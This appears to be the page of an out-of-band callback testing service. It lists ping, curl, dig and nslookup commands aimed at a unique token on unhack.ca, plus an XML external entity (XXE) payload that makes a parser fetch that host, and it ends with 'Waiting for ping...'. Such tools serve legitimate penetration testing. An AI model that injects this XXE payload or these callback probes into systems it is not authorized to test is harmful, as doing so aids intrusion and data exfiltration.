$ ping -c1 -p 0081897859d0500ede9dcf73facea300 unhack.ca
 
$ curl http://unhack.ca/p/81897859d0500ede9dcf73facea3
 
$ dig 81897859d0500ede9dcf73facea3 @unhack.ca
 
$ dig 81897859d0500ede9dcf73facea3.ns.unhack.ca
 
C:\> nslookup 81897859d0500ede9dcf73facea3 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/81897859d0500ede9dcf73facea3">]>
    <foo>&xxe;</foo>
Waiting for ping...